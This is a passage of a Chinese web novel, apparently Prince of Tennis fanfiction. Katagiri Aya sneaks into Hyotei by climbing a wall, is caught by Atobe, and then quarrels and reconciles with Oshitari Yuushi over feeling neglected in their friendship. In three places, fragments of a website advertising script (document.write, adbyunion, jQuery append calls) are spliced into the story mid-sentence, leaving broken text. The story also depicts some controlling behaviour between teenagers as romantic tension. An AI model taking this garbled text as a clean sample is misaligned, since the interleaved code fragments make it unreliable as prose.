都有精神和谦也三天打五次电话! 所以他是什么意思,真的要和她绝交吗? 不管怎么样,她都要去问清楚才行! 片桐彩在衣柜里挑挑拣拣,挑出几套便于行动的衣服。 嫩黄色、粉色、朱红色、蓝色…… 怎么都这么没气势! 她不满地蹙起眉,又拱到衣帽间里翻翻找找,终于在一个角落翻出一身红黑相间的哥特式裙装。 很好,很有气势! 就是有点不太方便行动。 反正之后的行程都只要坐着,坐飞机坐汽车什么的,穿裙子也没关系吧…… 这么想着,她慢吞吞地穿上这身裙装,层层叠叠的裙摆盖住了她的脚面。 她对着镜子理了理自己褪成橘粉色的长发,戴上配套的配饰,对着镜子挤眉弄眼好一会儿,终于做出一个威严的表情。 唔,很好。 这次绝对要……绝对要吓侑士那个混蛋一大跳! 她捏着手机,在通讯录里翻出一个电话号码接通:“柿山叔叔,请来家里接我一下。” …… 片桐彩已经好久没有去过关东地区了。 虽然这么说不太好,但她确实不怎么喜欢关东人。 在她的印象里,关东人总是一副事不关己高高挂起的冷漠模样,或许这只是她对关东的刻板印象,但过往的经历让她对关东的印象就是这样。 她望着车窗外的景象,不免觉得有些陌生。 城市是会变化的,五年没有来过,东京的变化不小。 毕竟是超级大都会嘛。 她幽幽地叹了口气。 要不是侑士在这里,她才不会跑到这种地方来呢! “小彩,你至少让我和老板说一声吧,”柿山把着方向盘,语气幽怨:“你擅自跑到东京来,老板知道了肯定要生我的气的。” 片桐彩信誓旦旦道:“安心好了,柿山叔叔,之后我会和爸爸说清楚,爸爸不会怪你的,我保证!” 她才不会让别人为她承担后果,但是现在确实不能让爸爸知道。 爸爸要是知道她跑来东京,一定会立刻给侑士打电话,请他帮忙照顾她一下的,那样的话,侑士不就知道她过来了吗? 那可不行! 说好吓一跳就是吓一跳,更何况,她想知道他是不是交了新朋友什么的…… 要她说,还得是家人之间的纽带更加深刻,朋友是随时都可以更换的,家人不是。 就像她和谦也,谦也是他的家人,他还是会经常联系,而她只不过是一个朋友,一个随时可以替换的朋友。 片桐彩沮丧地抠弄着裙摆上的十字绑带。 要是他真的是因为有了新朋友才不理她的,她就……她就再也不和他好了! “小彩,冰帝就在这附近了,你看……” 片桐彩立刻回过神来,她趴在窗边看了几眼,“就在这里放我下来吧,这个点学校应该不会放学生进去,我要想想办法才行。” 柿山瞄了眼腕表,小声提议道:“其实放学时间就快到了……” 她抿了抿唇,心里有了个主意:“放学以后就迟了,柿山叔叔,谢谢你今天送我过来,你先去随便吃点什么休息一下,或者你直接回大阪也可以,所有费用我给你报销。” “我先走啦!柿山叔叔再见!” 柿山望着她逐渐远去的背影,一边叹气一边给老板拨去了电话。 …… 片桐彩攥着小包的包带,探头探脑地出现在冰帝学园的大门前。 嗯嗯,不错,校门看起来还算气派。 她好奇地打量着校门内的情况,看起来还蛮西式的嘛。 “那边那个——学生?” 保安从保安室里探出脑袋:“你不是冰帝的学生吧?这里不允许外校人员进入哦。” 片桐彩惊讶地掩着唇:“呜哇,好神奇,你怎么知道我不是这所学校的学生啊。” 保安得意地压了压帽檐:“哼,我可是记得国中部所有学生的面孔和名字,小菜一碟啦。” 喔,那还挺厉害的嘛。 片桐彩决定执行Plan A套近乎,热情地和保安攀谈起来,一谈就是十好几分钟。 他们谈天说地,谈古论今,谈到最后她甚至都已经知道了他老家的具体位置——保安说得太高兴了,吐出几句山阴地区的方言。 保安泪眼汪汪:“老乡啊!我好久都没有碰到过同地区出身的人了。” 片桐彩从自己随身小包里掏出一枚梨肉果冻,从窗口递进去:“今年新产的,还请笑纳。” “二十世纪梨啊——”保安捏着果冻,感慨道:“以前最讨厌吃这个了,离开故土这么久,反倒是有点想念。” 他随手扒开果冻的外皮,把果冻挤进嘴里:“对了,你要找的那个人,是一年H组的那个吧,忍足君,他放学后有部活,基本上要等到天快黑的时候才出来呢——你要不找个地方坐坐?” 要那么久啊。 片桐彩偷偷瞄了眼保安,他说这话也相当于是婉拒了她,肯定不会放她进去的。 那么,来执行Plan B吧! 她热情地和保安告别,在校外的围墙周围转了一圈,鬼鬼祟祟地选了一处墙比较矮的位置,摩拳擦掌地准备爬墙。 爬墙多少还是需要一些技术。 她总爱跟着惠里奈,惠里奈去攀岩馆攀岩的时候,她几乎次次都跟着去,也跟着学了不少攀岩技巧。 攀岩和爬墙应该差不多吧。 片桐彩盯着相对平滑的墙面,在心里暗暗为自己鼓劲儿。 片桐彩,你可以的! 只是一堵墙而已! 她在墙面上摸了摸,找到几处肉眼看不见的凹陷,记下点位,吭哧吭哧地开始爬墙。 先把手放在那个位置,之后再是脚…… 失败了两次以 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 后,第三次再尝试,她终于攀上了墙顶。 “你在做什么?” 一道声音从下方传来,吓得片桐彩一个趔趄,差点从墙上摔下去。 她心虚地朝着声源的方向望去,只见一个紫灰色头发的少年抱臂站在下方,眉毛下压,看起来心情不怎么好的样子。 见她望过来,他挑了挑眉:“片桐,彩?” “咦?你认识我?”她好奇地歪了歪脑袋,冲着他挥挥手:“不管怎么样,你先让一让,让我先进去再说?” 见对方依旧站在原地纹丝不动,她不由得蹙了蹙眉:“你站这么近,要是你被我撞到会受伤的。” 他这才慢吞吞地往后退了两步:“你要是摔伤了可别赖我。” 片桐彩才不管他说什么,扶着墙一跃而下,地上柔软的落叶做了个缓冲,她站起身来,拍了拍身上沾到的灰尘。 “咳咳咳……” 咳嗽声迭起,她抬眼望去,那个紫灰色头发的少年站在她面前,眉毛拧得紧紧的,脸上写满了嫌弃。 奇怪,他刚才是站在这里的吗? 片桐彩困惑道:“你怎么突然站这么近?” 少年掩着口鼻,声音闷闷的:“明明是你跳得太远了!” “好吧,”她拍拍裙子扭头就走:“再见啦!” “真是够了……你给我等一下!” 袖子突然被捏住往后拉了一下,片桐彩不悦地扭过脸:“你怎么突然拉我!要是我摔倒了怎么办!” 倒也不怪她生气,她今天的裙子实在是有点长,后方的裙摆拖在地上,往后退的时候一个不注意就会踩上,很容易摔跤。 少年别扭地松开手:“抱歉,但你这就想走了?” 片桐彩困惑道:“不然呢?” 她的目光在那堆被她弄得稍显凌乱的落叶间睃巡一下,犹犹豫豫地问道:“啊,难道这是你们学校的……景观?刚才是什么造型来着?我……恢复一下?” 少年明显被噎了一下,他顿了顿,很快又恢复回之前那副高傲的模样。 “不需要,”他咬牙切齿道:“你是不是忘了这里是哪里,嗯?” “我知道啊,冰帝学园嘛。” “……冰帝不允许外校人员进入,”他瞪了她一眼,“尤其是不·请·自·来·的·外·校·人·员。” “噢,其实我是冰帝的学生,”片桐彩从善如流,“我今天逃课了,逃课途中经过神社,接收到了菅原道真的神启,现在想重返校园认真上课,绝不辜负学问之神对我的期望。” 少年:…… 空气静默了一瞬,少年终于缓慢而咬牙切齿地开了口:“本大爷怎么不知道冰帝多了个叫‘片桐彩’的学生。” 片桐彩奇怪地看了他一眼,“你是什么很重要的人吗?为什么要你知道?我也不知道冰帝有你这么个学生呢。” “我是冰帝的生徒会长迹部景吾,”他慢条斯理地说:“所有学生的资料都要在我这边过一眼,而你,片桐彩,学生资料里没有出现过这个名字。” “啊,那大概是因为我是新来的转学生,资料还没有呈到你案前吧。” 片桐彩无比真诚地眨巴眨巴眼睛,随便糊弄一下就一个箭步冲了出去:“那个,老师在找我,我先走一步——” 她还未跑出去几步,就被迹部景吾一把薅住,拖着她往回走。 他面无表情地拨通一个电话:“忍足,出来接收一个包裹,嗯,大件,建议带个推车……嘶——你怎么还咬人啊!” “片桐彩!你是狗吗!给我松口!” 37.第 37 章 忍足侑士接到电话的时候一头雾水。 虽然他也是学生会的一员,但他的所属部门是海外交流委员会,最近部门里有什么快递需要他去签收的吗? 话说这种事情根本就不是他的工作吧…… 迹部在电话里也没有说清楚,叫他带个小推车就莫名其妙挂断了,连具体位置都没有说明。 “滴滴——” 一条讯息传来。 【From迹部:来我办公室。】 忍足侑士合上手机,推着小推车往学生会办公室走去。 究竟是什么大件包裹啊…… 他慢吞吞地走到会长办公室,轻轻地叩了叩门。 “迹部,我来了。” 没有回音。 他想到办公室的门隔音很好,又重重地敲了几下:“迹部?” 依旧没有回音。 不会是他在里面工作到晕过去了吧…… 想想好像也不是没可能。 自从迹部上任后,他就大刀阔斧地对冰帝进行各种各样的改革,身兼数职,堪称工作狂魔。 要是真的过劳…… 忍足侑士心里一沉,轻声说了句“失礼了”,便摁下了门的把手。 门刚刚开了一条小缝,里面便传出两道争执不休的声音。 “你凭什么把我关在这里!你这是、你这是……嗯……那个叫什么来着……” “非法拘禁?” “对!你非法拘禁我!” “那你故意伤害怎么算?你的牙印都还没消掉呢。” “只是咬了一口而已……谁让你先说我是包裹的!” “被人咬感染的概率可不比被狗咬低,我还没找你算账你倒是先怪起我来了,闭嘴,安静点。” …… 好熟悉的声音。 忍足侑士推开门,两道目光齐刷刷地朝他望过来。 矜贵的迹部大少爷灰头土脸的,头发也乱了好几绺;一旁的少女刚一见到他就立刻转过身去面壁,只有些许橘粉色的头发在脑后的装饰下若隐若现。 迹部景吾揉了揉被折磨得生疼的太阳穴:“忍足,你来得正好,快点把这个小疯子领走。” “你……” 片桐彩下意识想要反驳回去,想到身后还站着今天的目标人物,只好忍耐着把想说的话吞了回去。 迹部景吾饶有兴致地挑了挑眉:“哼,怎么不说了?刚才不还说得很起劲吗?” 片桐彩狠狠地瞪了他一眼,扭过脸专心致志地观察着墙纸花纹。 也不知道究竟是谁选的花纹,真是好没品味。 “很好,谁能告诉我,现在这是怎么一回事?” 忍足侑士的声音幽幽的,像春天无孔不入的柳絮,轻巧又缠人地黏进了她的耳朵。 片桐彩不由得打了个寒噤,更加不敢回头看他了。 “这个问题或许该问那边那位……是你说起过的那位吧?我应该没认错。” 迹部景吾轻哂一声:“要不是我接到父亲的电话,说是合作伙伴的女儿偷跑来冰帝让我关照一下,我还不知道有位偷偷摸摸小姐跑进冰帝了——还是爬墙进来的。” 爬墙进来? 这也太危险了。 冰帝的围墙可比道顿堀二小的围墙高多了。 她是自己一个人来的吗? 今天是周五,还是上课时间,自己偷跑出来的? 一个人偷偷从大阪跑到人生地不熟的东京? “片桐彩。” 忍足侑士头疼地按揉太阳穴,背对着他的少女打了一个激灵,背挺得直直的。 “转过来。” 她纹丝不动。 “转过来,不要让我说第三遍。” 片桐彩这才慢吞吞地转过身来,她低垂着脑袋,发饰遮住了她的脸,叫人看不清楚她的表情。 忍足侑士下意识放轻动作,帮她理了理有些凌乱的头发。 比起一个多月以前看到的玫红色,她现在的发色已然浅了许多,橘粉色的长发卷曲着散落在她的肩上,在黑色的布料下显得更加鲜明夺目。 他蹙着眉问道:“你是一个人跑到这里来的吗?” 片桐彩没有答话,连个反应都没有给他。 “说话。” 空气里还是一片寂静。 迹部景吾始终关注着他们的状态,眼见他们僵持住,便很有绅士风度地暂时把这个办公室借给他们使用。 直到迹部景吾离开以后,室内才慢慢传出几声微小的啜泣声。 忍足侑士轻浅地叹了口气,最终还是不忍心,放柔了声音问道:“你是自己一个人来的吗?怎么来的?有没有受伤?” 片桐彩一边偷偷观察着他的状态,一边抽抽噎噎的:“我不想理你,讨厌鬼,干什么这么凶。” 呼,侑士好像还挺精神的,在这里应该没有受欺负。 不过在那个花孔雀手底下工作,真的没关系吗? 果然是分开太久感情淡了,他以前可是从来都不凶她的…… 她委委屈屈的,下意识想要拿自己的袖子擦眼泪,却被对方一把攥住了手,她抬起脸,凶巴巴地瞪了他一眼。 她的脸上脏兮兮的,一道道灰色的指印在她脸上晕开。 忍足侑士眼前一黑,握着她的手腕就往外走。 “忍足侑士!” 片桐彩气鼓鼓地挣扎着,“松开我!我再也不要和你好了!烦人鬼!” 忍足侑士没有搭理她,带着她走进盥洗室,浸湿手帕就给她擦起脸来。 “忍足……唔……” 擦。 “忍足侑士……!你……唔……” 擦擦。 “你住……住手!” 擦擦擦。 “……” 擦擦擦擦。 ……好吧,擦得还挺舒服的。 她看着镜子里脏兮兮的自己,也有点忍受不了。 等她的脸擦干净以后,她还顺便把手抬起来递给对方,对方愣了愣,她又扬了几下,示意他接着擦擦。 忍足侑士认命地抓起她的手,带着她放到水龙头下冲一冲,又接了些洗手液,带着她按照七步洗手法把手里里外外洗了个遍。 片桐彩翻来覆去地看了几遍她干干净净的双手,满意地点点头。 直到她对上忍足侑士堪称幽怨的目光,她这才想起,她现在正在和他冷战。 她双臂环抱,重重地哼了一声以表达自己的不满,又扭过脸去,不再看他。 忍足侑士叹了口气:“小彩,你还没有回答我的问题。” 提起这个,片桐彩就气得快要爆炸了。 她一把攥住忍足侑士的领带,狠狠拽了一把,他被拽得一个趔趄,不得已躬下身来,双手拢在她身侧,扶着大理石台站定。 “小彩?” 太近了。 少女翠榴石一般的双眸放大数倍出现在他眼前,忍足侑士慌乱地往后退了两步,只是还未站稳,就又被对方拽了回来。 “你,为什么不回我的讯息!” 片桐彩拧着眉,眼里满是怒气,她气得连嘴唇都在用力,紧紧地抿在一起。 忍足侑士错愕地望着他:“我……” “别想找理由骗我,我都看到了!”她气鼓鼓地说:“你和谦也发了那么多讯息,还和他通话了……我的讯息你就没有回复。为什么?” 她越说越觉得委屈,眼泪也不受控制地涌了上来,豆大的泪珠“吧嗒吧嗒”往下落,却始终控制着自己,不让自己发出一丝一毫的泣音。 她的情绪太过激动,脸颊都因为抽泣变得红扑扑的,大约是她呼吸的幅度太大,她的双眸也渐渐变得迷蒙,脸色也苍白起来。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 忍足侑士怕她呼吸性碱中毒,周围又没有可以坐下休息的地方,他连忙把她往上一抬,让她坐在洗手台上缓一缓。 片桐彩因为缺氧,头脑晕乎乎的,趴在他的肩膀上给自己顺着气。 藏蓝色的发丝一下一下搔动着她的脸颊,她烦躁地把他的头发拨到耳后,不轻不重地拉拉他的耳朵。 “说话。” 热乎乎的吐息剐蹭着他的耳朵,忍足侑士不自在地绷紧了身体:“小彩,要不你先起来再说……” “我不,”片桐彩气鼓鼓地把脸往他颈间埋了埋:“你现在连靠都不让我靠一靠了,你是不是有别的最要好的新朋友了!” 少女柔软的唇瓣似有若无地碰到他脖颈间的皮肤,他猛地往后退了一步,双手紧紧地抓着她的手臂,免得她因为他的后退摔倒。 他将将站定,就看见她以一种控诉的目光望着他。 “你甚至还推开我!” 眼见她又要开始抽抽噎噎的,忍足侑士一把捂住了她的嘴,冲她比了个“安静”的手势。 “我不可以有新朋友吗?”他面色平静,叫人看不出他的情绪:“小彩都有新朋友,我不可以有吗?” “要是只有小彩才能有新朋友,那是不是也太不公平了。” 他的手并未使多大的力气,片桐彩一下子就挣开了。 “我没有说你不能有新朋友,”她委委屈屈地说:“但是你最好的朋友得是我和谦也呀……你、你和谦也都是我最好的朋友,我也要是你最好的朋友。” “真是贪心啊,小彩,”他无奈地弯了弯唇角:“可是最好的朋友只能有一个——” “小彩,你最好的朋友其实是谦也才对吧……你总是更在乎他。” 片桐彩被他的话弄得怔了怔,她有点不明白他的意思。 她焦急地解释道:“怎么会呢,你和谦也都是我最好的朋友,再没有人比你们更好的了!我对你们都是一样的啊!” 忍足侑士只是无声地笑笑,没有回话。 又是这样……缄口无言的姿态。 “你不要总是让我猜谜语好不好!”她突然有些生气,“每次都是,每次都是!为什么总要我猜来猜去的呢?” “我没有你们那么聪明,我就是不擅长猜嘛,有什么话直接说出来很困难吗?” 她这下是真的很伤心很伤心了,眼泪成簇成簇地往下掉,眼角眉梢都低低地垂了下去,直望着地板上的花纹哭,再不看他一眼了。 “或许我就不该来这里的。” 她用力地用袖口抹了一把眼泪,眼泪却像泉眼里汩汩而出的泉水一样,怎么抹都抹不尽:“你是不想和我做朋友了吧,我感觉得到的。” 就像那些回复得越来越慢的讯息,就像此时此刻越来越远的距离。 她本以为他是因为那天的事情和她闹别扭才不理她的,可她直到现在才反应过来,好像不是那样。 他是在尝试和她划清界限,就和过去他同一个关系不错、但理念不合的同学划清界限的方式一样。 她到底是跑来做什么的呢? 特意跑来听一下他们友情破裂的宣言吗? 片桐彩莫名觉得自己的行为有点滑稽,只是一个朋友……只是一个朋友而已。 她片桐彩什么时候缺过朋友了,她可是很受欢迎的小孩! 唔,或许仅限于在大阪、在关西吧。 她最后把目光投向陪伴她五年多的小伙伴,确认过他确实容光依旧,这才勉强放下心来。 她也算是没白跑一趟吧,至少亲眼确认了他在这里过得好不好。 看样子还不错。 片桐彩推开身前站着的、不知道在想些什么的忍足侑士,快步往门边走去。 她扶着门把,重重地摁了下去。 只要走出这扇门,她以后就和他桥归桥路归路,不再是朋友了。 38.第 38 章 片桐彩扶着门把,重重地摁了下去。 门才将将打开一条缝,就被一只手重重地摁了回去,门合得严丝合缝,发出“嘭”的一声巨响。 “小彩,我没有不想和你做朋友。” 忍足侑士摁着门,任她怎么用力都拉不开。 她狠狠地抹了把眼泪,根本不想听他说话:“松手!我要回家!” 他面无表情地从口袋里掏出手机,拨出一个号码:“片桐叔叔,抱歉。之前在上课没有注意到您打电话过来……小彩在我这里,今晚她就不回去了,嗯,对,住在我家……” 片桐彩刚想反驳,就被他一把捂住了嘴,他比了个“安静”的口型,一双浓绀色的眸子沉得吓人的,把她惊了一惊。 她从来没有见过这样的侑士。 他平日里虽说也不是那种特别爱笑的类型,很内敛,但在和她还有谦也在一块儿的时候,总是很温和,也爱闹,甚至还会因为一点小事就和谦也吵起来。 可现在的他…… 冷冰冰的,有一点可怕。 脑内不断响起尖锐的警报声,促使她生出想要逃跑的念头,她只轻轻动了一下,就被他沉得看不清情绪的眼睛给钉在原地。 忍足侑士轻笑一声:“小彩,你在怕我?” 片桐彩看着他,眼泪像是断了线的珠子,泪水顺着她的脸颊落下,落在她深色的衣摆上,遍寻不见了。 “如果现在站在你面前的是谦也……” 鞋子踩在光洁的地板上,发出“哒、哒”的响声,她看着一步步逼近她的小伙伴,只觉得有些陌生。 他的脸和以往似乎没什么区别,可她总觉得,他好像有点不一样了。 她呆呆地盯着他那双浓绀色的眸子,终于在浓郁深沉的色彩中看到了几分伤心难过。 “如果现在站在你面前的是谦也,你还会怕吗?” 忍足侑士一步一步地凑近,把她逼得退无可退,她可怜地倚靠在冰凉的木门上,手紧紧贴着门上凸起的雕花。 “谦也谦也,又是谦也!” 她心中的怒火再也压抑不了,什么害怕不害怕的全被她抛去了九霄云外。 片桐彩怒气冲冲地拉住他的领带,重重地把他往下扯了扯,对方急促的呼吸扑在她的脸上。 “你为什么总是在说谦也?!这明明是我们两个人之间的事情吧!” 忍足侑士的心倏地紧缩一下,尖锐而沉重的痛感叫他一时间有些难以呼吸。 哪怕是在这样的情况下,她还是在下意识维护谦也。 他压抑着自己紧促的呼吸,试图让自己冷静下来,他紧紧地盯着门上的影纹,不让自己的视线落在她那张写满愤怒的脸上。 他不敢开口。 他怕自己一开口,心中积攒已久的怨怼便顺着他的喉管脱出。 多可笑啊。 即便是下定决心想要断开这段不公平的友谊,他也不忍心对这位偏心人吐出半个伤人的字眼。 只是他好像已经伤到她的心了。 他在心里默默说了句“抱歉”。 “忍、足、侑、士!” 片桐彩心中的怒气因着他再一次把目光移开,愈发膨胀起来。 她强硬地把他的脸掰回来,与他四目相对,只是目光对上的那一刻,她的视线就又变得模糊了。 对方的脸在她的视线里慢慢变成一个个模糊的色块,她用力眨了眨眼,把眼泪眨掉,可惜视线才恢复没多久,就又有一波眼泪涌了上来。 “你为什么总是这样、总是这样不肯说清楚!” 她狠狠地抹了一把眼泪,蹭过的地方红了一大片:“什么都不说最伤人了!我讨厌你!” 她什么时候遇到过这样的情况? 家人都很爱她,朋友也都很喜欢她,除开幼年时的那段时间,从来没有一个人叫她这么伤心过。 “哈……” 她听到一声长长的叹息,只是此刻她已然消失了去探究的心情,她倔强地抿唇望向别处,不让自己眼眶里盈盈打转的泪水落下。 朦胧泪眼里,她看见她落在了他的阴影之中,一只手不轻不重地捏住她的下巴,带着她的脸转了过来。 她一个眨眼,眼泪顺着她的脸颊缓缓下落,砸上了他的虎口。 她的视野变得清晰许多。 忍足侑士的脸出现在她眼前,他抿着唇,领口早就因着她的动作被扯开,颈间的肌肉因着他剧烈的呼吸微微颤动着。 “你要我说什么、想要听到我说什么,嗯?” 他压抑着呼吸,声音都因此有些颤抖:“明明是我先来的,为什么你总是更在意谦也?” 她下意识想要反驳,却被他轻轻地掩住双唇。 “不要急着反驳我,”他静静地注视着她:“好好想想吧……只要是有他出现的地方,你总是看不到我的,不是吗?” “就像上次在鸟取,最先开口的人明明是我,你却被谦也吸引,直到回家,你都没有再和我说过一句话。” “这样的事情五年里发生过多少次,你记得吗?” 他明明没有做出任何表情,可片桐彩却觉得,他好像在哭。 他的睫毛轻轻地颤动着,掩去了他那双总是如湖水般沉静的眸子,声音轻轻的:“你要我说什么呢,小彩。” “我不喜欢你总是看着谦也,我不喜欢你总是和他说话,我不喜欢你忽略我——明明是我们最先认识的,不是吗?” “我讨厌谦也的后来居上,也讨厌失去理性的自己。” “小彩,你明白吗?” 平光镜下的眼睛里蒙上了一层薄薄的水雾,片桐彩下意识抬手,摘掉了他的眼镜。 浓绀色的眸子清晰地出现在她的眼前,她这才发现他的眼尾泛着一层薄薄的红。 她茫然地摸了摸他略带湿意的睫毛,心里空空的。 “抱歉……” 她吐出这两个字便止住了话头,接下来的话无论如何都无法从她的喉间飞出哪怕半个字。 她想说“抱歉”,想为她过去没有注意到这件事情道歉,可她知道,再多的“对不起”也只是几句苍白无力的话而已,说出来也只能安安自己的心。 她真的没有注意到过这些。 仔细想想,好像确实是这样。 她总是会和谦也闹起来,把侑士晾在一边……她还总以为是侑士不想和他们一起闹,没想到是被他们无形中排挤了。 她和侑士几乎天天都在一起,只享受着侑士的照顾,自己却没怎么顾及到对方的心情,还自诩是他最要好的朋友。 友谊需要双方共同的经营才会长久,她很明白这一点,可她总是无意间忽略侑士的情感需求…… 不,或许是她知道他会一直对她好,才这么有恃无恐的吧。 这件事情是她做错了。 他一直把这件事情闷在心里,该有多难受啊…… 眼泪争先恐后地从眼眶里滑出,浸得她的眼睛水濛濛的。 她哽咽着:“对不起、我……是我的错,我让你伤心了……” 她一边抹着眼 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 泪,一边信誓旦旦地保证道:“我以后一定不会再这样了,我绝对、绝对会好好看着侑士的,那我们还是最好的朋友,好不好?” 忍足侑士就那么静静地看着她,没有动,像是在确认她说的是不是真心话。 她焦急地握住他的手,轻轻晃了晃:“我保证!以后会多多关注侑士的!好不好嘛!” 他还是没动,别开脸望向别处。 “你、你要是生气的话,可以咬我一口消消气,以后我绝对不会再这样了!真的!” 片桐彩探头探脑地观察他的神情,犹豫了一下便捋起袖子,把手臂抬到他面前。 “喏,你咬吧,咬完消完气我们再来讨论补救措施!” 她吸吸鼻子,踌躇着又补了一句:“最好还是轻轻地咬,我有一点点怕痛……” 忍足侑士这才悠悠地转过脸,目光轻轻地在她手臂上滑过,落在她柔软白皙的脸上。 看着她一脸真挚地等着他咬一口消气,他不由得觉得有点好气又有点好笑。 怎么让人消气还这样讨价还价…… 他挑了挑眉:“真的要让我咬吗?” 片桐彩点点头:“我说话算话。” “行。” 脸颊上传来的、略有些重的挤压感叫她不由得瞪大双眼,对方灼热的鼻息扑在她的耳廓上,蚁走感从尾椎骨长驱直上,蜿蜒至她的头顶。 像是要被吃掉了一样……好可怕。 她屏着呼吸,连动都不敢动一下。 他的发梢轻轻搔动着她的脖颈,弄得她痒痒的,直到对方微微松开了些力道,她才踩了他一脚,重重地把他顶开。 “忍足侑士!” 片桐彩捂着自己的脸,委屈巴巴地瞪着他:“你太过分了!怎么可以咬我的脸!讨厌鬼!烦人精!” 藏蓝色头发的少年这会儿倒是有了几分青少年的感觉,毫无优雅的形象可言,“呸呸”地吐了两下:“……咸的。” 怒火直冲天灵盖。 怎么会有人! 咬了人! 还要嫌弃别人的脸! 是咸的! 片桐彩气得抓起他的手就重重地咬在他的虎口上,弄得对方倒抽了一口气。 “嘶……小彩,轻一点……” 她猛地松开,也学着他“呸呸”地吐了两下:“你也是咸的!” “小彩,”忍足侑士语气幽幽的:“你哭的时候,眼泪刚好掉在那里,不止一滴。” “你的意思是,我把你腌入味了?” “我可没说。” 房间里静默了一瞬,片桐彩别别扭扭地攥着他的拇指:“所以我们现在算不算和好了?” 忍足侑士用余下的四根手指把她攥成拳头的手裹在手心,“算。” 早在望见她的第一眼,他就已经放弃了要和她断交的想法。 她担心他,甚至愿意跑来自己最不愿意踏足的东京看他。 他早就不生气了。 只是出于一些说不清道不明的心思,他想要借着这股东风,利用些许微小的愧疚,谋得一点——只是一点他想要的东西。 如他所料,他成功了。 他想要的或许并不是一段深厚的友谊,而是别的什么…… “既然如此,我们也该算算接下来的账了吧。” “什么……账?” 片桐彩露出一个相当甜蜜的笑容:“当然是你刻意忽视我、不理我,遇到问题还把问题憋在心里这么久都不和我说、害得我们都这么伤心的账。”